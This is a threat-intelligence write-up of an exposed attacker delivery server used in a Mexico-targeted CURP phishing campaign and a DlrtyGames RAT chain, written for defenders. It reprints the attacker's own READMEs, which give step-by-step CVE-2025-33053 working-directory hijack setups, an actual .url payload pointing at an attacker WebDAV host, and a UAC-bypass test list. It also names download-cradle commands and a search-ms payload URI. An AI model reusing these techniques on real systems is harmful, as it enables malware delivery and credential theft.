    This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

    Introduction: From MDR alert to attacker infrastructure

    The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

    That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

    At a high level, the 1,048 files clustered as follows:

    Category

    Files

    Functions and discoveries

    LNK delivery launchers

    453

    Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

    Filename-spoofing QA

    236

    Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

    URL/LOLBin execution tests

    146

    Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

    Encrypted droppers

    89

    Staged second-stage payloads and installer-style packages

    Alternative execution containers

    24

    search-ms, library-ms, .cpl, and related delivery containers

    Payload stubs and spoofed executables

    21

    Smaller loaders, decoys, and renamed binaries

    WebDAV scripts

    17

    Scripts intended to make WebDAV delivery more reliable on Windows systems

    Builder and operator notes

    10

    README files, test reports, mappings, and generation scripts

    ClickFix HTML lures

    9

    Browser-based social-engineering pages instructing users to run commands

    Miscellaneous files

    6

    Included documentation for the actor’s WebDAV delivery/admin panel

    Table 1: Breakdown of files recovered from the attacker’s delivery workspace

    Technical analysis and observed attacker behavior

    Attackers testing like a product team

    The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

    The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

    testing-files-subfolders.png
    Figure 1: Snippet of one of many subfolders containing testing files.

    ⠀

    Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

    CVE

    Observed samples

    Short description

    CVE-2025-33053

    11

    Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

    CVE-2026-21513

    4

    MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

    CVE-2025-24054

    1

    Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

    Table 2: CVE references observed in the exposed directory.

    The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

    The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

    CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

    Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
    ⠀

    The testing approach was methodical and included the below:

    Transports: WebDAV over @80 and @ssl@443

    Path formats: DavWWWRoot vs. plain UNC

    Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

    Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://


    Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

    Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

    ClickFix pages: relying on user copy/paste execution

    Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

    The lure factory

    The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

    Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

    The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

    The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

    The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

    The payload chains 

    The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

    We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

    Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

    This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

    Case study 1: CURP campaign targeting Mexico

    Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

    Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
    Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

    ⠀

    The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

    search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

    ⠀
    It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

    The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

    Simba-Service-WebDAV-dashboard-CURP.png
    Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

    ⠀

    Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

    Execution-chain-PDF-lure.jpg
    Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

    ⠀

    The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

    • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

    • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

    • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

    The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

    Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

    The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

    Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

    Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

    Case study 2: The "DlrtyGames" sideloading chain

    While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

    The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

    DlrtyGames-execution-chain.jpg
    Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

    ⠀

    Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

    The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

    The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

    The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

    The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

    GenAI adoption

    Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. 

    ═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

    Figure 7: Context of README.md found in the exposed directory.

    The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

    Hardcoded-$outDir-path.png
    Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

    ⠀
    It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

    Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

    Simba-server-screenshot-panel.png
    Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

    ⠀

    Simba-server-system-requirements.png
    Figure 10: Simba service system requirements.

    ⠀

    The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

    The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

    # LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / ĐžĐ±Đ·ĐŸŃ€

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В ŃŃ‚ĐŸĐč папĐșĐ” ĐœĐ°Ń…ĐŸĐŽĐžŃ‚ŃŃ ĐżĐŸĐ»ĐœĐ°Ń Ń‚Đ”ŃŃ‚ĐŸĐČая ĐŒĐ°Ń‚Ń€ĐžŃ†Đ° Оз **60 LNK-ŃŃ€Đ»Ń‹ĐșĐŸĐČ**, ĐŸĐ±ŃŠĐ”ĐŽĐžĐœŃŃŽŃ‰ĐžŃ… ĐČсД ĐŽĐŸŃŃ‚ŃƒĐżĐœŃ‹Đ” WebDAV-ĐŒĐ”Ń‚ĐŸĐŽŃ‹ ĐŸŃ‚Đșрытоя ŃĐŸ ĐČŃĐ”ĐŒĐž Ń‚Đ”Ń…ĐœĐžĐșĐ°ĐŒĐž ĐŸĐ±ĐŒĐ°ĐœĐ° LNK, ĐżĐŸĐŽĐŽĐ”Ń€Đ¶ĐžĐČĐ°Đ”ĐŒŃ‹ĐŒĐž ĐżŃ€ĐŸĐ”ĐșŃ‚ĐŸĐŒ Web-renamer.

---

## Naming Scheme / ĐĄŃ…Đ”ĐŒĐ° ĐžĐŒĐ”ĐœĐŸĐČĐ°ĐœĐžŃ

All files follow the pattern:  
ВсД фаĐčлы ŃĐ»Đ”ĐŽŃƒŃŽŃ‚ ŃˆĐ°Đ±Đ»ĐŸĐœŃƒ:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / Đ±Đ°Đ·ĐŸĐČĐŸĐ” ĐžĐŒŃ фаĐčла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / ĐŒĐ”Ń‚ĐŸĐŽ ĐŸŃ‚Đșрытоя WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / Ń‚Đ”Ń…ĐœĐžĐșĐ° ĐŸĐ±ĐŒĐ°ĐœĐ° LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`â€źÆ’ïœ„áŽ˜`) — visually appears as `.pdf` / спуф Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžŃ чДрДз RTLO + ĐłĐŸĐŒĐŸĐłĐ»ĐžŃ„Ń‹ — ĐČĐžĐ·ŃƒĐ°Đ»ŃŒĐœĐŸ ĐČŃ‹ĐłĐ»ŃĐŽĐžŃ‚ ĐșĐ°Đș `.pdf`
- **`.lnk`** — real extension / Ń€Đ”Đ°Đ»ŃŒĐœĐŸĐ” Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžĐ”

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф ĐżŃ€ĐžĐŒĐ”ĐœŃĐ”Ń‚ŃŃ **Ń‚ĐŸĐ»ŃŒĐșĐŸ Đș Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžŃŽ** ĐČ ĐșĐŸĐœŃ†Đ” ĐžĐŒĐ”ĐœĐž, ĐżĐŸŃŃ‚ĐŸĐŒŃƒ ĐœĐ°Đ·ĐČĐ°ĐœĐžŃ ĐŒĐ”Ń‚ĐŸĐŽĐŸĐČ Đž Ń‚Đ”Ń…ĐœĐžĐș ĐŸŃŃ‚Đ°ŃŽŃ‚ŃŃ Ń‡ĐžŃ‚Đ°Đ”ĐŒŃ‹ĐŒĐž.
...

    Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

    OPSEC is hard 

    As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

    simba-service-presentation.png
    Figure 12: Simba service presentation.

    ⠀

    The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

    The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

    Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

    We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

    Delivery panel overview

    The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

    simba-service-page-with-blocking-capabilities_.png
    Figure 13: Simba service page with blocking capabilities.

    ⠀

    The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

    We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

    The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

    Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

    The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

    Country

    Requests

    Share of requests

    Unique client IPs

    Launch events

    Mexico

    63,622

    82.5%

    2,698

    2,365

    United States

    4,032

    5.2%

    463

    47

    Germany

    2,751

    3.6%

    59

    1

    United Kingdom

    645

    0.8%

    40

    0

    Netherlands

    532

    0.7%

    49

    1

    France

    407

    0.5%

    21

    0

    Finland

    401

    0.5%

    6

    10

    Brazil

    343

    0.4%

    41

    0

    Republic of Korea

    312

    0.4%

    16

    1

    Table 3: Geographic distribution of WebDAV delivery activity.

    Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

    Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

    By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

    Protocol behavior

    The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

    Method

    Count

    PROPFIND

    57,287

    GET

    13,088

    OPTIONS

    6,597

    PROPPATCH

    125

    LOCK

    1

    Table 4: HTTP methods observed in WebDAV delivery traffic.

    Status

    Count

    207

    57,412

    200

    19,532

    206

    154

    Table 5: HTTP status codes observed in WebDAV delivery traffic.

    MITRE ATT&CK techniques

    Name

    MITRE ATT&CK technique

    Code

    Payload execution

    User Execution: Malicious File

    T1204.002

    Masquerading

    Right-to-Left Override

    T1036.002

    Masquerading

    Double File Extension

    T1036.007

    DLL sideloading

    Hijack Execution Flow: DLL

    T1574.001

    Obfuscation

    Encrypted/Encoded File

    T1027.013

    Payload unpacking

    Deobfuscate/Decode Files or Information

    T1140

    Payload carrier

    Steganography / image-carried payload data

    T1027.003

    API hiding

    Dynamic API Resolution

    T1027.007

    In-memory loading

    Reflective Code Loading

    T1620

    Injection

    Process Hollowing

    T1055.012

    Native API use

    Native API

    T1106

    Sandbox evasion

    Time Based Evasion

    T1497.003

    Anti-analysis

    Debugger / instrumentation checks

    T1622

    UAC bypass

    Bypass User Account Control

    T1548.002

    Persistence

    Registry Run Keys / Startup Folder

    T1547.001

    Persistence

    Scheduled Task

    T1053.005

    Collection

    Keylogging

    T1056.001

    Collection

    Screen Capture

    T1113

    Collection

    Clipboard Data

    T1115

    Credential access

    Credentials from Web Browsers

    T1555.003

    Credential access

    Steal Web Session Cookie

    T1539

    Collection

    Data from Local System

    T1005

    Collection

    Automated Collection

    T1119

    Staging

    Archive Collected Data: Archive via Utility

    T1560.001

    C2

    Encrypted Channel

    T1573

    Exfiltration

    Exfiltration Over C2 Channel

    T1041

    Possible persistence

    WMI Event Subscription

    T1546.003

    Phishing lure generation

    Generate Phishing Lures

    AML.T0052

    Resource Development

    Resource Development

    AML.TA0003

    Obtain capabilities via LLM tooling

    Obtain Capabilities

    AML.T0016

    LLM-assisted capability development

    Develop Capabilities

    AML.T0017

    LLM prompt crafting for attack documentation

    LLM Prompt Crafting

    AML.T0065

    Obtain capabilities via tooling

    Obtain Capabilities: Software Tools

    AML.T0016.001

    Indicators of compromise (IOCs)

    CURP campaign

    Phishing page: hxxps://gobf[.]mx

    WebDav server: onedrive[.]cv

    ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

    C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

    Domain: google.services[.]ug

    Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

    Schedule tasks: brokerhost, net_queue_32

    Staging paths:

    %TEMP%\is-XXXXX.tmp\Fo-Binary.exe

    %AppData%\Roaming\inttracer_i686_prod\

    C:\ProgramData\inttracer_i686_prod\

    DlrtyGames campaign

    C2: 23[.]94[.]252[.]228:57666

    JA3: fc54e0d16d9764783542f0146a98b300

    DlrtyGames.exe

